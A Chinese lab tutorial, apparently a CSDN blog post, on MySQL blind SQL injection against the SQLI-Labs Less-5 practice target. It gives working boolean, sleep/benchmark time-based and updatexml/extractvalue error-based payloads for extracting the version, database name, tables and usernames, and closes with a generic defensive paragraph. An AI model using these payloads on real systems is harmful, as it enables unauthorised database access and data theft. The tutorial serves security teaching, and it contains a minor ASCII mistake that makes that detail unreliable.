mysql盲注 多字节字符_Web安全-基于SQLI的SQL盲注常用函数实验

实验目的

通过本实验理解MySQL盲注常用函数的功能,掌握MySQL盲注常用函数在SQL注入中的应用方法,熟悉SQL注入的常见流程。

实验环境

目标网站:SQLI平台中的Less-5

实验原理

先来分析一下Less-5源码中GET提交不同参数时的反应

(1)如果正确

9fb3da81dc7b8031ccaec906f5d2ceec.png

(2)如果错误

808b63a12fd3001d47d89332672000fb.png

(3)如果提交?id=1'时浏览器前端的反应

c371f616b0784716f3acfbc01883fb62.png

可以看到,如果运行返回结果正确的时候只返回you are in...,不会返回数据库当中的信息了,此时可以采用逻辑判断是否正确的盲注来获取信息。

实验步骤

第一步 登录SQLI-Labs平台

第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-5

在浏览器地址栏中输入http://【靶机IP】/Less-5/,访问SQLI-Labs的less-5。

说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。

第三步 利用left(a,b)获取信息

LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。

LEFT(str,length);如果str或length参数为NULL,则返回NULL值。

str是要提取子字符串的字符串;

length是一个正整数,指定将从左边返回的字符数。

代码示例:

9e70394de189821cae5fe253f17b7da5.png

如果length为0或为负,则LEFT函数返回一个空字符串

abc8011a58dbcac7422c42ffa3f340fc.png

如果length大于str字符串的长度,则LEFT函数返回整个str字符串

c47af2efb33e387bc6b0e6d4f4878b74.png

利用left(database(),1)进行尝试

http://【靶机IP】/Less-5?id=1' and left(version(),1)=5--+

查看一下version(),数据库的版本号为5.3,这里的这句话的意思是看看版本号的第一位是否是5,很明显返回的结果是正确的。

c69e5728b2a03635d75d17bc9ac25e62.png

第四步 利用length函数判断数据库等的长度

length功能介绍:

返回字符串str的长度,以字节为单位。一个多字节字符算作多字节。

在mysql内置函数里面查看字符串长度的还有一个函数是char_length,两个函数的区别是:

length: 一个汉字算三个字符,一个数字或字母算一个字符。

char_length:不管汉字还是数字或者是字母都算是一个字符。

这意味着,对于包含五个两字节字符的字符串,LENGTH()返回10,而CHAR_LENGTH()返回5。

判断错误时的表现

9413c007350ed55b86ab557cd2d37778.png

判断正确,确定数据库长度是8

395dff5ab5e11d9d519c36bf4ee4b5b5.png

判断正确,确定数据库名的第一个字符是S

fc216a4425d05e01e7c99204b69bb32b.png

可以使用这种方法,依次猜解数据库名的各个字符是什么。

第五步 利用substr或substring函数获取信息

(1)SUBSTR(str,pos):表示从pos开始的位置,一直截取到最后。

89b08615a7439546cdb26f34ad2b7e55.png

SUBSTR(str,pos,len):表示从pos开始的位置,截取len个字符(空格也算字符)。

bb770a69227529c83928a21936395534.png

(2)另外一个函数ascii()功能如下:

3cf4ec5c650d9965509415cad7fb49af.png

根据获取的数据库的名称为security,那么继续猜测security数据库下面的表信息:

测试语句

ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))>100--+

判断正确

8e6c4ba557dfa7b42c4baf61a2198850.png

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+

判断错误

d8cd1ee6f48e21f847bfe80b80a9661f.png

推测该数据库的第一个表的第一个字符为“e”,对应ASCII码为100

4477c1f5e837c1a1b79ababb938af8bc.png

8eca7157fe7653d28714de22fca61d34.png

(2)函数mid()

MID()函数用于得到一个字符串的一部分。

这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server、Oracle 数据库中,我们可以使用SQL SUBSTRING函数或者SQL SUBSTR函数作为替代。

ee9caa656d26abc39bc012b8f22d4784.png

(3)函数cast()和convert()

MySQL的CAST()和CONVERT()函数可用来获取一个类型的值,并产生另一个类型的值。

51dff5b44edd52f7f11bbebf75497359.png

可以转换的类型是有限制的。这个类型可以是以下值其中的一个:

6b87cce60ef8cadcef070c84fc9a5c63.png

代码示例:

92ef12a27576f1cc809ddf6e8f624a9b.png

(4)函数ifnull()

形式是IFNULL(A,B),意义是当字段A是NULL时取B,不是NULL时取A的值。

id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68--+

获取user表中username中第一行的第一个字符的ascii,之后再将该ascii与我们所猜测字符对应的ascii值进行对比,从而即可得出这一个表中该字段的第一个字符。(如果查询出的结果是空值,应当转换成空字符串)

7858c07e63860c778f17d0ea008256ba.png

第七步 利用延时函数sleep()或benchmark()获取信息

(1)利用sleep()函数注入

id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

当错误的时候会有5秒的时间延迟。

7b0965fe2eca11f63d0d13ce812a0bcf.png

(2)利用benchmark()函数注入

id=1' UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

当结果正确的时候,运行encode('MSG',‘by 5 second’)操作50000000次,会占用一定的时间。

第八步 利用Xpath函数报错注入

(1)updatexml()函数

作用:改变文档中符合条件的节点的值。

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称;

第二个参数:XPath_string (Xpath格式的字符串) ;

第三个参数:new_value,String格式,替换查找到的符合条件的数据。

(2)CONCAT(str1,str2,…)函数

作用:返回结果为连接参数产生的字符串。如有任何一个参数为NULL,则返回值为NULL。

通过查询@@version,返回版本号,然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

渗透语句

id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

b586e00ce516f613c93f4d12b683d08a.png

(3)extractvalue()函数

extractvalue():对XML文档进行查询的函数,其实就是相当于HTML文件中用

语法:extractvalue(目标xml文档,xml路径)

第二个参数“xml路径”是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果写入其他格式,就会报错,并且会返回写入的非法格式内容,而这个非法的内容就是想要查询的内容。

渗透语句

id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

8ddd8fabbd2ee125829e05a2f297598f.png

思考与总结

通过本次实验,成功实现了利用各种函数功能结合SQL注入漏洞来获取MySQL数据库中的信息。

实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
宏景 get_org_tree-sqli是一种SQL注入攻击。在宏景软件的get_org_tree函数中,存在着未经过滤或者验证的用户输入,导致攻击者可以通过构造恶意的SQL查询语句来对数据库进行未授权的访问和操作。 当应用程序没有正确地对用户输入进行过滤、转义或验证时,攻击者可以利用这个漏洞构造恶意的输入来执行SQL查询语句。攻击者可以注入SQL代码,修改数据库查询语句的逻辑,获取、删除或修改数据库中的数据,甚至完全控制数据库服务器。 为了防止宏景 get_org_tree-sqli攻击,开发人员应该始终遵循安全的编码实践。 1. 输入验证和过滤:应该对所有的用户输入进行验证和过滤,确保输入数据符合预期的格式和类型。可以使用合适的输入验证函数或正则表达式来实现。 2. 使用参数化查询或预处理语句:建议使用参数化查询或预处理语句来执行数据库查询操作,而不是直接拼接用户输入构成的查询语句。参数化查询可以防止SQL注入攻击。 3. 最小权限原则:数据库账户应该按照最小权限原则进行授权,避免给予不必要的权限。这样即使发生了SQL注入攻击,攻击者也只能执行有限的操作。 4. 错误信息处理:避免将详细的错误信息直接输出到用户界面上,这样可能会暴露敏感的数据库结构和错误详情,为攻击者提供攻击的线索。可以将错误信息记录在日志文件中,以便日后的安全审计和调查。 通过以上措施,开发人员可以提高应用程序的安全性,防止宏景 get_org_tree-sqli等SQL注入攻击对系统造成威胁。同时,定期对应用程序进行安全测试和漏洞扫描,及时修复和更新系统中发现的安全漏洞,保障系统安全运行。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值